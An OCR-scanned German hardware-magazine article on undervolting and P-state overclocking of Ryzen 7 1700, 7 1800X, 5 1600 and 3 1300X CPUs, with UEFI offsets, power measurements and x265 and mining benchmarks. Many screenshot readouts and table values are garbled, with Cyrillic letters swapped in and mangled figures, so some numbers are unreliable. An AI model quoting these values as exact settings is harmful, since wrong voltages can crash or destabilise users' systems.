ХМЕ Stak CPU 444,4 His 444,4 His 444,4 His 464,7 H/s 
Effizienz (XMR) 5,77 His pro Watt 5,49 H/s pro Watt 6,26 H/s pro Watt 6,04 H/s pro Watt 
System: Asus Crosshair VI Hero (UEFI 1403), Noctua NH-U125 SE-AM4, 2 x 8 GiB DDR4-2666, GT 640; Win 10 x64 


,Auto": Der Grundzustand 


Wir überlassen die Spannungsregelung dem Mainboard. Das System 
láuft zwar effizient, doch es gibt ungenutzte Reserven. 


UEFI-Menü des Asus Crosshair VI Hero (Obermenü , Extreme Tweaker") 


> External Digi+ Power Control 
> Tweaker's Paradise 

CPU Core Voltage 

CPU SOC Voltage 

DRAM Voltage 

1.8V PLL Voltage 


1.05V SB Voltage 


Auto 


/ | Auto - 


1.20000 


Auto 


Auto 


Leerlauf: 1,55 GHz, 0,84 Volt, 43 Watt H Volllast: 3,20 GHz, 1,06 Volt, 116 Watt 


Name 

Code Name 
Package 
Technology 


AMD Ryzen 7 1700 
Summit Ridge Max TDP | 65.0 W 
Socket AM4 (1331) 
14nm Core Voltage | 0.850 V 
AMD Ryzen 7 1700 Eight-Core Proce 
Family F Model 1 Ste 
Ext. Family i7 Ext. Model 1 Re 


Instructions |MMX(#), SSE, SSE2, SSE3, SSSE3, SSE4. 1, | 
х86-64, AMD-V, AES, AVX, AVX2, РМАЗ, SHA 


Specification 


Cache d 
LiData | 8 x32KE 
Lit. | 8 x64KE 
Level2 | 8x 


Clocks (Core #0) 
Core Speed 
Multiplier 
Bus Speed | 


M u [#0]: AMD Ryzen 7 1700 
| lj ceu Gretifrdie) 
| Ў CPU Core Voltage (SVI2 ТЕМ) 
| Ў Soc Voltage (SVI2 TFN) 
| Ў CPU Core Current (SVI2 ТЕМ) 


1549.64 MHz 
X15.5 


25% 
0.837 v 
1.050 V 
1.039 A 


Name 

Code Name 
Package 
Technology 


Summit Ridge 


14пт 


Specification 
Family F 


Ext. Family 17 Ext. 


Clocks (Core #0) 

Core Speed 
Multiplier 

. Bus Speed | 


3199.25 MHz 
x32.0 
99.98 MHz 


H CPU [#0]: AMD Ryzen 7 1700 
| lj ceu (rcti/Tdie) 

| Ў CPU Core Voltage (SVI2 ТЕМ) 

| Ў SoC Voltage (SVI2 ТЕМ) 

| Ў CPU Core Current (SVI2 ТЕМ) 


Socket AM4 (1331) 
Core Voltage 


AMD Ryzen 7 1700 Eight-Core Proce 


Instructions |MMX(+), SSE, 55Е2, SSE3, SSSE3, SSE4.1, ! 
x86-64, AMD-V, AES, AVX, AVX2, FMA3, SH/ 


AMD Ryzen 7 1700 


Max TDP [65.0 W | 


1.090 V 


Model 1 
Model i Re 


Cache 
LiData 
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Ryzen 7 1700 


rundsätzlich lässt sich Under- 
Gio: bei aktuellen. AMD- 
und Intel-CPUs auf die gleiche Art 
und Weise durchführen, im Detail 
gibt es allerdings Unterschiede. 
Diese erläutern wir am Beispiel des 
bereits für unter 300 Euro erhältli- 
chen Achtkerners Ryzen 1700. 


Traumhaft effizient 

Nach dem Laden der ,Optimized 
Defaults“ und dem Festlegen der 
RAM-Einstellungen im UEFI-Menü 
nehmen wir unsere ersten Messun- 
gen vor - die sehr positiv ausfallen: 
Sowohl im x265-Test als auch mit 
der Coin-Mining-Software erreicht 
der Ryzen 7 1700 die hóchste Leis- 
tung pro Watt aller zwölf getesteten 
Prozessoren. Möglich macht es ein 
vergleichsweise niedriger Volllast- 
Takt von 3,2 GHz, für den eine ge- 
ringe Kernspannung von unter 1,1 
Volt ausreicht. Weniger schön ist 
dagegen, dass die von CPU-Z aus- 
gelesene Kernspannung bei 1,55 
GHz im Leerlauf oft wenig mit der 
Realität zu tun hat und etwa auf an- 
gebliche 0,3 Volt abfällt. Das zeigen 


wir auf den unten abgebildeten 
Screenshots zwar nicht, glaubwür- 
digere Werte liefert nach unserer 
Einschätzung aber Hwinfo64 mit 
dem Eintrag „CPU Core Voltage 
(SVI2 TN)“. 


Feste Spannung? Bitte nicht! 
Im ersten Schritt wagen wir Un- 
dervolting mit fixierten 
Spannung, stoßen hierbei aber 
schnell ans Limit: Da der Prozes- 
sor bei Single-Core-Last auf bis zu 
3,75 GHz beschleunigt und dafür 
natürlich mehr Spannung benötigt, 
verhindert der Turbo-Modus, dass 
wir Undervolting bei Auslastung 
aller Kerne betreiben können. Die 
Untergrenze liegt bei der UEFI- 
Einstellung 1,15 Volt. Derart konfi- 
guriert gónnt sich unser System in 


einer 


allen Testszenarien mehr Energie: 
Im Leerlauf steigt die Leistungs- 
aufnahme von 43 auf 45 Watt, im 
x265-Test sind es 123 statt 116 Watt, 
mit XMR Stak CPU 81 statt zuvor 
77 Watt. Lediglich bei Einkernlast 
wàre das System effizienter - das 
haben wir aber einerseits nicht ge- 


„Manual Mode": Vcore konstant 


Mit einer festen Kernspannung ist Undervolting nicht immer möglich, 
da der eingetragene Wert auch für den Single-Core-Turbo reichen muss. 


UEFI-Menü des Asus Crosshair VI Hero (Obermenü , Extreme Tweaker") 


> Tweaker's Paradise 
CPU Core Voltage 
- CPU Core Voltage Override 
CPU SOC Voltage 
DRAM Voltage 
1.8V PLL Voltage 


1.05V SB Voltage 


Leerlauf: 1,55 GHz, 1,15 Volt, 45 Watt 
AMD Ryzen 7 1700 
Summit Ridge Max TDP | 65.0 W 
Socket АМА (1331) 
Core Voltage 

AMD Ryzen 7 1700 Eight-Core Proces 
Famly | F Model 1 Ste 
Ext. Family 17 Ext. Model 1 Rei 
Instructions |MMX(+), SSE, SSE2, SSE3, SSSE3, SSE4. 1, Š 
х86-64, AMD-V, AES, AVX, AVX2, FMA3, SHA 

Cache 
LiData 
LiInst. 


Name 

Code Name 
Package 
Technology 


Specification 


14nm 1.155V 


|- Clocks (Core #0) 
Core Speed 
Multiplier 
Bus Speed 


8x32KB| 
8x64KB| 


1549.64 MHz 
x15.5 
99.98 MHz 


Manual mode 
1.15000 
1068v Aug .— «^ à 20 O S 
1.20000 
Auto 


Auto 


Volllast: 3,20 GHz, 1,11 Volt, 123 Watt 


Name AMD Ryzen 7 1700 

Code Name Summit Ridge Max TDP | 65.0 W 

Package Socket AM4 (1331) 
Technology Core Voltage 


Specification 


14nm 1134V 


AMD Ryzen 7 1700 Eight-Core Proces 
Family F Model H Step 
Ext. Family | 17 Ext. Model 1 Rey 


Instructions |MMX(+), SSE, SSE2, SSE3, SSSE3, SSE4. 1, 5 
x86-64, AMD-V, AES, AVX, AVX2, РМАЗ, SH; 


Cache 
LiData | 8х32КВ 
Lilnst | 8x64KB 


Clocks (Core #0) 
Core Speed 
Multiplier 


3199.25 MHz 
x 32.0 
99.98 MHz 


| H CPU [#0]: AMD Ryzen 7 1700 
| Í ceu cretráie) 

| Ш CPU Package (TSD 

| F CPU Core Voltage (SVI2 ТЕМ) 
| Ў Set Voltage (SVI2 ТЕМ) 


level 2 | 8х512КЁ | 


| CPU [20]: AMD Ryzen 7 1700 


| LË SoC voltage (SVI2 ТЕМ) 


312 | 8x512KE 


| Í ceu (retifrdie) 
| CPU Package (TI) 
Í CPU Core Voltage (SVI2 TFN) 


43.3 *C 


1112V 
1.044V 
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messen und sollte andererseits bei 
einer Achtkern-CPU auch nicht das 
Hauptziel der Optimierung sein. 


Bei Volllast unter 100 Watt 
Immerhin hält auch das Crosshair 
VI Hero einen Offset-Modus bereit, 
mit dem sich ein bestimmter Wert 
von der weiterhin dynamisch gere- 
gelten Spannung ab- oder aufschla- 
gen lässt. Unsere CPU verkraftet 
maximal den UEFI-Eintrag -0,13125 
Volt, bevor der PC instabil wird. Im 
Leerlauf liegen nun 0,71 statt 0,84 
Volt an, für die Video-Umwandlung 
reichen 0,94 statt 1,06 Volt aus. 
Dadurch sparen wir 17 Watt ein 
und senken den Energiebedarf 
des gesamten Systems bei Auslas- 
tung aller acht Kerne auf 99 Watt. 
Ausgehend von 43 Watt Leistungs- 
aufnahme im Leerlauf gönnt sich 
jeder Kern dank Undervolting also 
lediglich 7 Watt zusätzlich im Hw- 
bot x265 Benchmark. 


Kleiner Tipp: Ursprünglich wollten 
wir für den Artikel das AM4-Board 
Asrock X370 Killer SLI verwenden, 
doch hier endet der Negativ-Offset 
leider bei 0,1 Volt, wodurch Po- 
tenzial verschenkt wird. Wird die 
Spannung vom Anwender geän- 


dert, dann setzt das Mainboard die 
Loadline Calibration (LLC) automa- 
tisch auf Level 1, also die höchste 
Stufe, um einen Abfall der Kern- 
spannung unter Last zu verhindern. 
Durch das Herabsetzen der LLC auf 
Level 5 sank die Spannung mit ei- 
nem Ryzen 5 1600 im x265-Test um 
0,03 Volt ab und wir konnten unter 
Volllast ein paar Watt zusätzlich 
einsparen. Mit einer Anpassung 
der LLC-Funktion können Sie also 
bei Bedarf den effektiven Negativ- 
Offset etwas verstärken. 


P-State-Tuning 

Einen adaptiven Modus zur Span- 
nungsregelung bietet, soweit wir 
wissen, kein Sockel-AM4-Main- 
board, doch Ryzen-Nutzer können 
trotzdem Overclocking und Under- 
volting kombinieren. Dazu benöti- 
gen Sie aber Zugriff auf die P-State- 
Einträge des Prozessors, die bei 
unserem Asus-Board im UEFI-Ab- 
schnitt „Advanced\AMD CBS\Zen 
Common Options\Custom Pstates\ 
Throttling“ verborgen sind. Falls Ih- 
rem Mainboard der Abschnitt „AMD 
CBS“ fehlt, hilft oft ein BIOS-Update. 
Die P-State-Einträge geben die Takt- 
und Spannungsregelung des Prozes- 
sors abhängig von der anliegenden 


„Offset Mode”: Flexibel & gut 


Die lastabhängige Regelung bleibt erhalten. Der Offset-Wert bestimmt, 
wie stark die Kernspannung in allen Szenarien gesenkt wird. 


UEFI-Menü des Asus Crosshair VI Hero (Obermenü „Extreme Tweaker") 


My Favorites Main Advanced 


Monitor Boot Tool Exit G Hardware N 


Leerlauf: 1,55 GHz, 0,71 Volt, 43 Watt R Volllast: 3,20 GHz, 0,94 Volt, 99 Watt 


Name 
| Code Name 
Package 
| Technology 
| Spedfication 

Family F 
Ext. Family 17 


AMD Ryzen 7 1700 
Summit Ridge Max TDP | 65.0 W 
Socket AM4 (1331) 

Core Voltage 


14nm 0.719 V 


Model 1 
Ext. Model 1 


|- Clocks (Core #0) 

Core Speed 
Multiplier 

|... Bus Speed 


| M CU [20]: AMD Ryzen 7 1700 
| Í CPU (rctifTdie) 

| Ў CPU Core Voltage (SVI2 TFN) 
| Jj Soc Voltage (SVI2 TFN) 

| Ў CPU Core Current (SVI2 TFN) 


Cache 

LiData 
LiInst. 
Level 2 


1549.64 MHz 
х 15.5 
99.98 MHz 


26.0 °С 
0.706 V 
1.050 V 
1039A 


AMD Ryzen 7 1700 Eight-Core Proces 
Ster 
Rev 


Instructions |MMX(+), SSE, SSE2, SSE3, SSSE3, SSE4.1, S 
х86-64, AMD-V, AES, AVX, AVX2, РМАЗ, SHA| 


8x 328) 
8 х64КВ\ 
8x512K8 | 


Ju 


AMD Ryzen 7 1700 
Summit Ridge Max TDP | 65.0 W 
Socket AM4 (1331) 

Core Voltage 


AMD Ryzen 7 1700 Eight-Core Proces 
Family E Model 1 Stel 
Ext. Family m Ext. Model 1 Rei 


Instructions |MMX(+), SSE, SSE2, SSE3, SSSE3, SSE4. 1, $ 
х86-64, AMD-V, AES, AVX, AVX2, FMA3, SHA 


Name 

Code Name 
Package 
Technology 


Specification 


14nm 0.981V 


Clocks (Core #0) 
Core Speed 
Multiplier 


lB cru [20]: AMD Ryzen 7 1700 
Ш CPU (rcti/Tdie) 

Ў CPU Core Voltage (SVI2 ТЕМ) 

U SoC Voltage (SVI2 TFN) 

CPU Core Current (5\12 TFN) 


Cache 
LiData 
LiInst. 

|| Level 2 | 


8x32K8 
8x64KB 
8x 512KE 


3199.25 MHz 
x32.0 
99.98 MHz 
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Last vor. „Pstate0“ ist der Eintrag 
für die höchste Taktstufe, etwaige 
Turbomodi sind im UEFI-Menü al- 
lerdings nicht aufgeführt. Für „Ps- 
tate0“ ist also folglich lediglich ein 
Kerntakt von 3.000 MHz hinterlegt, 
dem Basistakt des Ryzen 7 1700. 


Das Anpassen der P-States ist in der 
Theorie sehr mächtig, kann aber 
schnell dazu führen, dass der Pro- 
zessor nicht mehr korrekt hochtak- 
tet oder die Spannung senkt. In der 
Praxis reicht es zum Erhöhen der 
Last-Taktfrequenz, lediglich einen 
„PstateO“-Eintrag zu ändern: Via 
(siehe Tabelle 
rechts) für „PstateO FID“ bestimmen 
Sie die Taktfrequenz, die zukünftig 
unter Last anliegt. Belassen Sie die 
Einträge für DID und VID sowie alle 
anderen „Custom Pstates“ auf der 
Voreinstellung. Wir entscheiden 
uns für 3.425 MHz Kerntakt. Zur 
Spannungsregelung ist auch beim 
Übertakten der Offset-Modus geeig- 
net, wir nutzen den Eintrag -0,11875 
Volt. Gegenüber der Ausgangsbasis 


Hexadezimalwert 


erreichen wir so 6 Prozent mehr 
Leistung im x265-Test bei gleicher 
Leistungsaufnahme. Kleiner Nach- 
teil: Auch bei Einkernlast liegen nun 
nur noch 3.425 MHz an. 


Ryzen: P-State-Tuning 


Pstate-Tuning: OC & UV kombiniert 


Via „PstateO FID" können Sie einen Multiplikator festlegen, der unter 
Last anliegt. Das lässt sich mit Offset-Undervolting kombinieren. 


UEEE Meni HE Asus Crosshair VI Hero (Obermenü „Advanced\AMD CBS|...") 


dain — Extreme Tweaker 


:1,55 GHz, 0,76 Volt, 43 Watt 
AMD Ryzen 7 1700 
Summit Ridge Max TDP | 65.0 W 
Socket AM4 (1331) 
Core Voltage 


Code Name 

Package 
Technology 

Specification 
Family F 

Ext. Family 17 


14nm 0.785 V 


Model 1 
Ext. Model 1 


|- Clocks (Core #0) 
Core Speed 

Multiplier 
|. Bus Speed 


Cache 
L1Data 
Lilnst. 


1548.53 MHz 
х 15.5 
99.91 MHz 


АМО Ryzen 7 1700 Eight-Core Proces: 
Step 
Rev 
Instructions |MMX(+), SSE, SSE2, SSE3, SSSE3, 55Е4. 1, S| | 
X86-64, AMD-V, AES, AVX, AVX2, FMA3, SHA 
| FClocks (Core #0) 
8x 32KBy 
8 х64КВу 


| Level 2 


| B =u [20]: AMD Ryzen 7 1700 
| lj cpu (retijáe) 

| Ў CPU Core Voltage (SVI2 ТЕМ) 
| Ӯ Soc Voltage (SVI2 ТЕМ) 

| Ў CPU Core Current (SVI2 ТЕМ) 


8x 512K8 
|| 
119 


Monitor Boot Tool Exit Igi Hardware Monitor 


Volllast: 3,42 GHz, 1,03 Volt, 116 Watt 


Name AMD Ryzen 7 1700 | 

Code Name | Summit Ridge — MaxTDP [65.0 W | 

Package Socket AM4 (1331) 
Technology Core Voltage 


14пт 1.068 V 


АМО Ryzen 7 1700 Eight-Core Procesi 
Family F Model 
Ext. Family 17 Ext. Model 1 


Instructions | ММХ(+), SSE, SSE2, SSE3, SSSE3, 55Е4. 1, ‚5 
x86-64, AMD-V, AES, AVX, AVX2, FMA3, SHA| 


Specification 


Cache | 
L1Data Sege 
Lilnst. | 8х64КВу 
Level 2 | 8х512КВ| 


Core Speed 3424.20 MHz 
Multiplier х 34.25 
Bus Speed | 99.91 MHz 


Ë cru [#0]: AMD Ryzen 7 1700 
Ш CPU (Tcti/Tdie) 

Í CPU Core Voltage (SVI2 ТЕМ) 

| Jj. SoC Voltage (SVI2 ТЕМ) 

CPU Core Current (SVI2 TFN) 


425% | 

1031V 

1.044V 
50004. 
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Gewünschter Hexadezimalwert 
Takt FID 

3.400 MHz 88 

3.425 MHz 89 % 
3.450 MHz 8А ° 
3.475 MHz 8B = 
3.500 MHz 8C E 
3.525 MHz 8D 8 
3.550 MHz 8E = 
3.575 MHz 8F Fi 
3.600 MHz 90 g 
3.625 MHz 91 š 
3.650 MHz 92 2 
3.675 MHz 93 & 
3.700 MHz 94 5 
3.725 MHz 95 Е 
3.750 MHz 96 £ 
3.775 MHz 97 Е 
3.800 MHz 98 = 
3.825 MHz 99 = 
3.850 MHz 9А m 
3.875 MHz 9B S 
3.900 MHz 9C ü 
3.925 MHz 9D S 
3.950 MHz 9E S 
3.975 MHz 9F 3 
4.000 MHz AO = 
4.025 MHz Al 5 
4.050 MHz A2 S 
4.075 MHz A3 = 
4.100 MHz A4 Е 
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Ryzen 7 1800X 


Ryzen 5 1600 


er flotteste AM4-Prozessor 

bietet ebenfalls acht Kerne, 
aber deutlich höhere Taktfrequen- 
zen als der Ryzen 7 1700. 


Bis zu 27 Watt sparsamer 
Mit „Auto“-Spannung liegen 0,84 
Volt im Leerlauf bei 2,2 GHz an, bei 
Volllast beschleunigt der Prozessor 
auf 3,7 GHz und wird mit 1,23 Volt 
versorgt. Im x265-Test gönnt sich 
das System dann 170 Watt und da- 
mit 125 Watt mehr als im Leerlauf. 


Wie schon beim Ryzen 7 1700 ist 
Undervolting mit einer fixen Span- 
nung keine gute Idee. Der 1800X 
beschleunigt nämlich bei Einkern- 
last auf maximal 4,1 GHz, was be- 
reits kurz nach dem Erscheinen 
des Windows-Desktops zu Abstür- 
zen führt, wenn die Spannung im 
UEFI-Menü nicht mindestens 1,275 
Volt beträgt. Sie fällt zwar unter 
Last weiter ab, doch die Ergebnisse 
sind durchwachsen: Während wir 


im x265-Benchmark 5 Watt einspa- 
ren, registrieren wir einen Mehr- 
verbrauch von 3 beziehungsweise 
2 Watt im Leerlauf und mit XMR 
Stak CPU. 


Auf den Offset-Modus ist erneut 
Verlass: Das untere Limit unseres 
Setups liegt bei -0,113 Volt. Bei 
noch weniger Spannung kommt es 
zu Abstürzen im Leerlauf. Mit 1,11 
statt 1,23 Volt sparen wir 27 Watt 
im x265-Test ein. Im Leerlauf benö- 
tigt der Rechner 1 Watt, beim Coin- 
Mining 12 Watt weniger. 


Bei der PCGH-Konfiguration setzen 
wir auf Overclocking via Pstate-Tu- 
ning auf 3,9 GHz, was wir mit -0,1 
Volt Offset kombinieren. Bei der 
Video-Umwandlung sparen wir so 
immerhin 4 Watt respektive 2 Pro- 
zent Strom ein und erhalten trotz- 
dem 4 Prozent mehr Leistung. Im 
Leerlauf bleibt es mit 0,81 Volt bei 
1 Watt Ersparnis. 


echs Kerne, 2x 8 MiByte L3- 
э 3,2 GHz Ваѕіѕ- und 3,6 
GHz Turbotakt bei 65 Watt TDP 
sind die wichtigsten Eckdaten des 
beliebten 200-Euro-AM4-Modells. 


Zahmer Single-Core-Turbo 
Ohne manuelle Eingriffe legt das 
Mainboard 0,83 Volt im Leerlauf bei 
1,55 GHz an, was eine Leistungsauf- 
nahme des PCs von 43 Watt ergibt. 
Während der Video-Umwandlung 
steigen diese Werte auf 1,18 Volt, 
3,40 GHz und 117 Watt. 


Da die meisten Ryzen-CPUs erst ab 
rund 3,7 GHz deutliche Spannungs- 
erhöhungen für kleine Taktschritte 
benötigen, liegt der Ryzen 5 1600 
mit einem Single-Core-Turbo von 
3,6 GHz noch in einem Bereich, 
bei dem das Absenken der Span- 
nung auf einen festen Wert Vortei- 
le bringt: Mit einer im UEFI-Menü 
auf 1,119 Volt fixierten Spannung 
sparen wir 12 Watt bei der Video- 


Umwandlung ein, im Mining-Szena- 
rio benötigt der PC 6 Watt weniger. 


Dennoch ist auch in diesem Fall 
der Offset-Modus die bessere Wahl. 
Einerseits wird so die Spannung im 
Leerlauf gesenkt, andererseits ist 
der Single-Core-Turbo nicht mehr 
der limitierende Faktor für die 
Spannung bei der Auslastung aller 
Kerne. Mit 1,06 statt 1,18 Volt zieht 
der PC 16 Watt weniger als in der 
Standardeinstellung während des 
x265-Benchmarks aus der Leitung. 


Via Anpassung der „PstateO FID“ 
auf 90 erhóhen wir bei der PCGH- 
Einstellung den Kerntakt auf 3,6 
GHz, womit die Rechenleistung 
im x265-Test um 5 Prozent zulegt. 
Da dafür nur eine Kernspannung 
von 1,11 Volt nótig ist, benótigt der 
Rechner trotzdem noch 6 Watt be- 
ziehungsweise 5 Prozent weniger 
Energie als ohne Effizienz Tuning. 
Beim Mining sparen wir 2 Watt ein. 


Ryzen 7 1800X (Zen, 8c/16t, Sockel AM4) Ryzen 5 1600 (Zen, 6c/12t, Sockel AM4) 
Win-10-Desktop/Hwbot x265 Benchmark (16 Threads)/XMR Stak CPU (8 Threads) Win-10-Desktop/Hwbot x265 Benchmark (12 Threads)/XMR Stak CPU (6 Threads) 
110 110 
105 105 
€ 10 € 10 
2 = 
š = 
5 5 
S 95 S 95 
© © 
= © 
Б] б 
е = 
S am £ 9 
E Strombedarf (Idle) 
E Strombedarf (x265) 
85 E Fps (x265) % 
W Strombedarf (Mining) E Strombedarf (Idle) li Strombedarf (x265) lil Fps (x265) 
ш His (Mining) E Strombedarf (Mining) W H/s (Mining) 
80 80 
Standard Manual 1,275 V Offset -0,113 V PCGH-optimiert Standard Manual 1,119 V 0ffset -0,131 V PCGH-optimiert 
Vcore (Idle) 0,84 Volt 1,28 Volt 0,74 Volt 0,81 Volt Vcore (Idle) 0,83 Volt 1,12 Volt 0,69 Volt 0,70-0,75 Volt(?) 
Takt (Idle) 2.200 MHz 2.200 MHz 2.200 MHz 2.200 MHz Takt (Idle) 1.550 MHz 1.550 MHz 1.550 MHz 1.550 MHz 
Strombedarf (Idle) 45 Watt 48 Watt 44 Watt 44 Watt Strombedarf (Idle) 43 Watt 44 Watt 42 Watt 43 Watt 
Vcore (x265) 1,23 Volt 1,22 Volt 1,11 Volt 1,20 Volt Vcore (x265) 1,18 Volt 1,09 Volt 1,06 Volt 1,11 Volt 
Takt (x265) 3.700 MHz 3.700 MHz 3.700 MHz 3.900 MHz Takt (x265) 3.400 MHz 3.400 MHz 3.400 MHz 3.600 MHz 
Strombedarf (x265) 170 Watt 165 Watt 143 Watt 166 Watt Strombedarf (x265) 117 Watt 105 Watt 101 Watt 111 Watt 
x265 4K 10,14 Fps 10,14 Fps 10,14 Fps 10,55 Fps x265 4K 7,22 Fps 7,22 Fps 7,22 Fps 7,58 Fps 
Effizienz (x265) 16,77 Watt pro Fps | 16,27 Watt pro Fps | 14,10 Watt pro Fps | 15,73 Watt pro Fps Effizienz (x265) 16,20 Watt pro Fps | 14,54 Watt pro Fps | 13,99 Watt pro Fps | 14,64 Watt pro Fps 
Kerntemp. (x265) 57,2°C 56,0 °C 49,1 °С 56,4 °C Kerntemp. (x265) 44,6 °C 38,8 °C 37,5 °С 42,0 °С 
Vcore (ХМК) 1,24 Volt 1,25 Volt 1,14 Volt 1,23 Volt Vcore (XMR) 1,21 Volt 1,11 Volt 1,08 Volt 1,13 Volt 
Takt (XMR) 3.700 MHz 3.700 MHz 3.700 MHz 3.900 MHz Takt (XMR) 3.400 MHz 3.400 MHz 3.400 MHz 3.600 MHz 
Strombedarf (XMR) 102 Watt 104 Watt 90 Watt 102 Watt Strombedarf (XMR) 78 Watt 72 Watt 71 Watt 76 Watt 
XMR Stak CPU 509,7 H/s 509,7 His 509,7 His 536,7 H/s XMR Stak CPU 376,0 His 376,0 H/s 376,0 H/s 381,7 His 
Effizienz (XMR) 5,00 H/s pro Watt 4,90 H/s pro Watt 5,66 H/s pro Watt 5,26 H/s pro Watt Effizienz (XMR) 4,82 H/s pro Watt 5,22 H/s pro Watt 5,30 H/s pro Watt 5,02 H/s pro Watt 
System: Asus Crosshair VI Hero (UEFI 1403), Noctua NH-U12S ЅЕ-АМА, 2 x 8 GiB DDR4-2666, GT 640; Win 10 x64 System: Asus Crosshair VI Hero (UEFI 1403), Noctua NH-U12S ЅЕ-АМА, 2 x 8 GiB DDR4-2666, GT 640; Win 10 x64 
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Ryzen 3 1300X 


er Vierkerner ist nach dem 

Pentium G4560 das Sparsams- 
te aller zwölf Modelle, die wir in 
diesem Artikel untersucht haben. 


Nur sparsam, nicht effizient 
Im Leerlauf liegt der Chip mit 43 
Watt auf dem Niveau der anderen 
AMÁ-CPUs, mit 90 Watt im x265- 
Test bei 3,6 GHz und 1,23 Volt ist 
der Prozessor aber genügsamer. Da 
allerdings die Geschwindigkeit bei 
lediglich 4 parallel verarbeiteten 
Threads natürlich auch deutlich ge- 
ringer ist, fällt der 1300X hinsicht- 
lich der Effizienz, also der Leistung 
pro Watt, gegenüber den teureren 
Ryzen-CPUs zurück. 


Eine erste Gegenmaßnahme ist Un- 
dervolting mit einer festen Span- 
nung, wobei sich abermals der 
hóchste Turbotakt als begrenzen- 
der Faktor entpuppt: Da ein einzel- 
ner Kern gelegentlich auf 3,9 GHz 
beschleunigt, ist die Untergrenze 


bei 1,19 Volt erreicht, womit wir 
lediglich 4 Watt bei der Video-Um- 
wandlung einsparen kónnen. 


Sie ahnen es bereits, der Offset- 
Modus ist die Lósung: Im UEFI-Me- 
nü tragen wir -0,175 Volt ein, eine 
noch stärkere Absenkung führt zu 
Abstürzen im Leerlauf. Unter Voll- 
last sinkt die Leistungsaufnahme 
um 11 Watt beziehungsweise 12 
Prozent. Beim Mining benötigt der 
Rechner nun 7 Watt respektive 9 
Prozent weniger Energie. 


Die PCGH-Konfiguration umfasst 
P-State-Overclocking auf 3,75 GHz 
und -0,0875 Volt Offset. Dabei ist 
uns ein Kuriosum aufgefallen, das 
auch beim Ryzen 5 1600 auftrat: 
Die Leerlaufspannung wird laut 
Hwinfo64-Sensor nicht gesenkt. 
Sowohl die niedrige Leistungsauf- 
nahme als auch Messungen via Mul- 
timeter legen nahe, dass die reale 


Spannung bei 0,75-0,80 Volt liegt. 


Ryzen 3 1300X (Zen, 4c/4t, Sockel AM4) 
Win-10-Desktop/Hwbot x265 Benchmark (4 Threads)/XMR Stak CPU (4 Threads) 
110 
105 
g 100 
o 
£ 
z 95 
Ф 
© 
£ 
$ 9 
š 
85 
E Strombedarf (Idle) MM Strombedarf (x265) lil Fps (x265) 
E Strombedarf (Mining) Ей H/s (Mining) 
80 
Standard Manual 1,213 V Offset -0,175 V PCGH-optimiert 
Vcore (Idle) 0,83 Volt 1,21 Volt 0,69 Volt ca. 0,75-0,80 Volt(?) 
Takt (Idle) 1.550 MHz 1.550 MHz 1.550 MHz 1.550 MHz 
Strombedarf (Idle) 43 Watt 45 Watt 43 Watt 43 Watt 
Vcore (x265) 1,23 Volt 1,19 Volt 1,08 Volt 1,18 Volt 
Takt (x265) 3.600 MHz 3.600 MHz 3.600 MHz 3.750 MHz 
Strombedarf (x265) 90 Watt 86 Watt 79 Watt 88 Watt 
x265 4K 4,12 Fps 4,12 Fps 4,12 Fps 4,28 Fps 
Effizienz (x265) 21,84 Watt pro Fps | 20,87 Watt pro Fps | 19,17 Watt pro Fps | 20,56 Watt pro Fps 
Kerntemp. (x265) 41,4 *C 39,8 °C 35,6 °C 40,3 °C 
Vcore (XMR) 1,23 Volt 1,21 Volt 1,09 Volt 1,19 Volt 
Takt (XMR) 3.600 MHz 3.600 MHz 3.600 MHz 3.750 MHz 
Strombedarf (XMR) 74 Watt 72 Watt 67 Watt 72 Watt 
XMR Stak CPU 224,6 His 224,6 H/s 224,6 H/s 235,7 H/s 
Effizienz (XMR) 3,04 H/s pro Watt 3,12 H/s pro Watt 3,35 H/s pro Watt 3,27 H/s pro Watt 
System: Asus Crosshair VI Него (UEFI 1403), Noctua NH-U125 SE-AM4, 2 x 8 GiB DDR4-2666, GT 640; Win 10 x64 


Zusammenfassung und Tipps zum Undervolten 


Leistungsaufnahme ohne und mit Undervolting 


a sich jedes System anders ver- 
hält, sollten Sie unsere Einstel- 


spannung: Starten und beenden 
Sie Stresstests immer wieder. 


lungen auf keinen Fall blind über- I Gönnen Sie der CPU einen Puffer 
nehmen; ohne Austesten erwarten 
Sie Abstürze oder Sie verschenken 
Reserven. Daher haben wir ab- 


schließend einige Tipps für Sie: 


Vcore: „Auto” vs. Offset (Hwbot x265 Benchmark v2.0.0, Ak, Overkill 2x) 


Core i9-7900X (4,0 GHz), „Auto“ Moore Ж 269 (Basis) 
Core i9-7900X (4,0 GHz), Undervolting == 231 (-14 96) 
Core i7-7820X (4,0 GHz), „Auto“-Vcore ШШШ 215 (Basis) 
Core 17-7820Х (4,0 GHz), Undervolting XXX 188 (-13 %) 
Core i7-7800X (4,0 GHz), ,Auto"-Vcore X 193 (Basis) 
Core 17-7800Х (4,0 GHz), Undervolting Eu 171 (11 96) 
Ryzen 7 1800X (3,7 GHz), ,Auto"-Vcore [XR 170 (Basis) 
Ryzen 7 1800X (3,7 GHz), Undervolting EX 143 (-16 96) 
Core i7-6700K (4,2 GHz), ,Auto"-Vcore [XXX 166 (Basis) 
Core i7-6700K (4,2 GHz), Undervolting Eu 123 (-26 96) 
Core i7-7740X (4,5 GHz), „Auto“-Vcore Xu 160 (Basis) 
Core i7-7740X (4,5 GHz), Undervolting Eu 137 (14 %) 
Core i7-7700K (4,5 GHz), ,Auto"-Vcore XXX 152 (Basis) 
Core i7-7700K (4,5 GHz), Undervolting EX 129 (-15 96) 
Ryzen 5 1600 (3,4 GHz), ,Auto"-Vcore [Xu 117 (Basis) 
Ryzen 5 1600 (3,4 GHz), Undervolting Eu 101 (-14 96) 
Core i5-7600K (4,2 GHz), , Auto"-Vcore [Xu 116 (Basis) 
Core i5-7600K (4,2 GHz), Undervolting Eu 101 (-13 96) 
Ryzen 7 1700 (3,2 GHz), „Auto“-Vcore Xu 116 (Basis) 
Ryzen 7 1700 (3,2 GHz), Undervolting EX 99 (-15 90) 
Ryzen 3 1300X (3,6 GHz), , Auto"-Vcore [X 90 (Basis) 
Ryzen 3 1300X (3,6 GHz), Undervolting [EX 79 (-12 96) 
Pentium G4560 (3,5 GHz), , Auto"-Vcore EEE 82 (Basis) 
Pentium G4560 (3,5 GHz), Undervolting ШЕ 75 (-9 96) 
System: Asus Crosshair VI Hero/Asus Maximus IX Code/MSI X299 Gaming Pro Carbon, 


2x/4x 8 GiByte DDR4-RAM, Zotac Geforce GT 640; Win 10 64 Bit, Geforce 382.53 
Bemerkungen: Undervolting lohnt sich relativ betrachtet auch bei sparsamen CPUs. 


von mindestens 0,01 Volt, wenn 


